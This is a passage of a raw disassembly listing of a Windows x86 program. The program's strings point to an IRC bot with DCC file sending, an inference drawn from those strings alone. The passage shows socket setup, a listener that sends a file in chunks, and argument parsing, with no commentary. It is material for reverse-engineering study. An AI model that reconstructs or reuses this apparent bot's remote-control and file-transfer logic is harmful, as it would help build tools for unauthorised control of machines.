eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F50 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017EE push eax mov ecx, edi call sub_4017EE push eax lea ecx, [edi+1Eh] call sub_4017EE push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BC6A ; --------------------------------------------------------------------------- loc_40BC68: ; CODE XREF: ___:0040BB30j ; ___:0040BB87j ... xor al, al loc_40BC6A: ; CODE XREF: ___:0040BADDj ; ___:0040BB70j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD40 proc near ; CODE XREF: sub_401C08j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021EE sub_40BD40 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD80 proc near ; CODE XREF: sub_40155Fj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FEB sub_40BD80 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDF0 proc near ; CODE XREF: sub_40145Bj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] push eax call sub_402117 mov ecx, [eax] add esp, 4 push ecx lea ecx, [esp+8+var_4] call sub_4014B0 mov edx, [eax] mov eax, [esp+4+arg_0] mov [eax], edx pop ecx retn 4 sub_40BDF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE30 proc near ; CODE XREF: sub_401C85j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [ecx+4] lea ecx, [esp+4+var_4] push eax call sub_4014B0 mov ecx, [eax] mov eax, [esp+4+arg_0] mov [eax], ecx pop ecx retn 4 sub_40BE30 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BE60 proc near ; CODE XREF: sub_401915j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C85 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C5D sub_40BE60 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEA0 proc near ; CODE XREF: sub_401C03j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C85 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BEA0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BEF0 proc near ; CODE XREF: sub_401546j push esi mov esi, ecx call sub_402158 mov eax, esi pop esi retn sub_40BEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF10 proc near ; CODE XREF: sub_401F78j mov eax, [ecx] push eax call sub_401848 add esp, 4 retn sub_40BF10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF30 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_402117 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BF30 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CFD neg al sbb eax, eax inc eax retn 4 sub_40BF60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BF90 proc near ; CODE XREF: sub_401C5Dj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016AE mov edi, eax push edi call sub_40215D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021EE sub_40BF90 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40215D push edi mov [eax], ebx call sub_40215D mov edi, [eax] push edi call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401848 add esp, 4 mov ecx, esi push eax call sub_401F32 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_4014B0 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C030 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40C08A loc_40C048: ; CODE XREF: sub_40C030+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B9A mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40C048 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40C08A: ; CODE XREF: sub_40C030+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40C030 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C0C0 proc near ; CODE XREF: sub_4021EEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401569 sub_40C0C0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C0D5 mov edi, esi loc_40C0D5: ; CODE XREF: ___:0040C0D1j push esi call sub_402117 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C0EA mov edi, esi loc_40C0EA: ; CODE XREF: ___:0040C0E6j push esi call sub_40215D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C110 proc near ; CODE XREF: sub_401FEBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402077 sub_40C110 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C130 proc near ; CODE XREF: sub_402117j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C150 proc near ; CODE XREF: sub_401848j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C150 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C170 proc near ; CODE XREF: sub_402158j mov eax, ecx retn sub_40C170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C190 proc near ; CODE XREF: sub_4014B0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1C0 proc near ; CODE XREF: sub_401CFDj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C1C0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C1F0 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B9A mov ecx, eax call sub_4016AE mov esi, eax push esi call sub_402117 push esi mov ebx, eax call sub_40215D mov ecx, [eax] push ecx call sub_402117 mov edx, [ebx] push esi mov [eax], edx call sub_40215D push esi mov ebx, eax call sub_402117 mov eax, [eax] push eax call sub_40215D mov ecx, [ebx] push esi mov [eax], ecx call sub_401848 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FEB sub_40C1F0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2B0 proc near ; CODE XREF: sub_40215Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C2B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C2D0 proc near ; CODE XREF: sub_401569j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_40C2D0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C300 proc near ; CODE XREF: sub_402077j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_40C300 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C320 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C320 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C350 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C350 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C370 proc near ; CODE XREF: sub_4016AEj mov eax, [ecx] retn sub_40C370 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C390 proc near ; CODE XREF: sub_401B9Aj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C390 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3C0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C3C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C3E0 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C3FB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C3FB: ; CODE XREF: sub_40C3E0+11j retn sub_40C3E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C430 proc near ; CODE XREF: sub_401BF9j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_40168B add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_40C430 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C4D0 proc near ; CODE XREF: sub_40171Cj var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C4D0 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014DD mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40CA1E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_444600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40202C lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C59C lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx call near ptr byte_5F285B nop add esp, 8 jmp loc_40C9C5 ; --------------------------------------------------------------------------- loc_40C59C: ; CODE XREF: sub_40C4D0+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx call near ptr 71AB2B66h nop mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi call near ptr 71AB3E00h nop test eax, eax jz short loc_40C5EA lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C690 ; --------------------------------------------------------------------------- loc_40C5EA: ; CODE XREF: sub_40C4D0+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx call near ptr 71AB2B66h nop lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014DD mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C643: ; CODE XREF: sub_40C4D0+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C655 mov eax, 5Fh jmp short loc_40C658 ; --------------------------------------------------------------------------- loc_40C655: ; CODE XREF: sub_40C4D0+17Cj movsx eax, al loc_40C658: ; CODE XREF: sub_40C4D0+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C643 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C6AD lea ecx, [ebp+69h] call sub_4014DD push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C690: ; CODE XREF: sub_40C4D0+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9BF ; --------------------------------------------------------------------------- loc_40C6AD: ; CODE XREF: sub_40C4D0+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017EE push eax nop call near ptr 2860000h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C714 lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call near ptr byte_5F285B add esp, 8 jmp loc_40C9BF ; --------------------------------------------------------------------------- loc_40C714: ; CODE XREF: sub_40C4D0+201j push 0 push esi nop call near ptr 2850B9Dh lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_40142E mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D808D push eax call sub_401E10 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017EE push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_444A00 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_40168B push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014DD mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D8075 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C80D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9AA ; --------------------------------------------------------------------------- loc_40C80D: ; CODE XREF: sub_40C4D0+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C85D lea ecx, [ebp+69h] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 jmp loc_40C9AA ; --------------------------------------------------------------------------- loc_40C85D: ; CODE XREF: sub_40C4D0+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C915 loc_40C86C: ; CODE XREF: sub_40C4D0+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C877 mov ebp, ebx loc_40C877: ; CODE XREF: sub_40C4D0+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 2850000h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi nop call near ptr 28403F0h mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp call near ptr 71AB615Ah nop cmp eax, 1 jl loc_40C9DE cmp edi, 1 jl loc_40C9DE sub ebx, edi jnz loc_40C86C mov ebp, [esp+0ABCh+arg_0] loc_40C915: ; CODE XREF: sub_40C4D0+396j push esi call near ptr 2840000h nop lea ecx, [esp+0AB8h+var_A38] call sub_40142E mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014DD mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014DD push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014DD mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D8075 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C9AA: ; CODE XREF: sub_40C4D0+338j ; sub_40C4D0+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C9BF: ; CODE XREF: sub_40C4D0+1D8j ; sub_40C4D0+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C9CC loc_40C9C5: ; CODE XREF: sub_40C4D0+C7j push ebx call near ptr 71AB9639h nop loc_40C9CC: ; CODE XREF: sub_40C4D0+4F3j mov eax, [esp+0ABCh+var_A74] push eax call near ptr 71AB9639h nop push esi nop call near ptr 28304F6h loc_40C9DE: ; CODE XREF: sub_40C4D0+427j ; sub_40C4D0+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D8075 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 call near ptr 28304F6h nop loc_40CA1E: ; CODE XREF: sub_40C4D0+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C4D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBA0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_40142E mov eax, esi pop esi retn sub_40CBA0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CBC0: ; CODE XREF: ___:loc_401B13j add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CBE0 proc near ; CODE XREF: sub_402063j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CBE0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_40CBE0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CC80 proc near ; CODE XREF: sub_401BB8j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CC80 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014DD mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CE81 push ebx lea ecx, [esp+284h+var_260] call sub_40199C lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40202C push 1 push offset asc_444600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017EE push eax lea ecx, [esp+288h+var_247] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_444600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017EE push eax lea ecx, [esp+288h+var_232] call sub_401A9B lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E47 push offset asc_444AD4 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CDFB mov 